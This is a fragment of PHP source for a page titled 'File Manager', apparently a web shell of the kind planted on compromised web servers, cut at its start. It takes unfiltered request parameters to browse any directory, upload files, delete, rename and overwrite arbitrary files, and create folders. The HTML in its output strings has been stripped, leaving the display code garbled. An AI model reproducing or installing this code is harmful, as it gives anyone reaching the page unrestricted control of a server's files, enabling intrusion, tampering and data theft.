';exit;} $path=isset($_GET["d"])?realpath($_GET["d"]):getcwd(); if(!$path)$path=getcwd(); if(isset($_GET["logout"])){session_destroy();header("Location:?");exit;} if(isset($_GET["del"])){@unlink($_GET["del"]);header("Location:?d=".urlencode($path));exit;} if(isset($_POST["newfolder"])){@mkdir($path."/".$_POST["newfolder"]);header("Location:?d=".urlencode($path));exit;} if(isset($_POST["upload"])){ $tmp=$_FILES["file"]["tmp_name"]; $name=basename($_FILES["file"]["name"]); $target=$path."/".$name; if(is_uploaded_file($tmp)){move_uploaded_file($tmp,$target);} header("Location:?d=".urlencode($path));exit; } if(isset($_POST["editfile"])){file_put_contents($_POST["file"],$_POST["content"]);header("Location:?d=".urlencode($path));exit;} if(isset($_GET["r"])){rename($_GET["r"],dirname($_GET["r"])."/".$_GET["new"]);header("Location:?d=".urlencode($path));exit;} echo 'File Manager '; echo '
Dir: '.$path.'
Logout
'; echo '
'; echo '
'; echo '
'; if(isset($_GET["edit"])){ $f=$_GET["edit"]; $content=htmlspecialchars(file_get_contents($f)); echo '
'; exit; } echo '
'; if($path!="/")echo ''; $files=scandir($path); foreach($files as $f){ if($f=="."||$f=="..")continue; $fp=$path."/".$f; echo ''; } echo '
[..]
'; echo is_dir($fp)?''.$f.'':''.$f.''; echo ''; if(!is_dir($fp)){ echo 'Delete'; echo '
'; } echo '
'; ?>